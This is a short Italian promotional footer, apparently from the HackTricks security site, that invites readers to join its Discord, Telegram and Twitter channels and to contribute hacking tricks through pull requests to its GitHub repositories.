- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.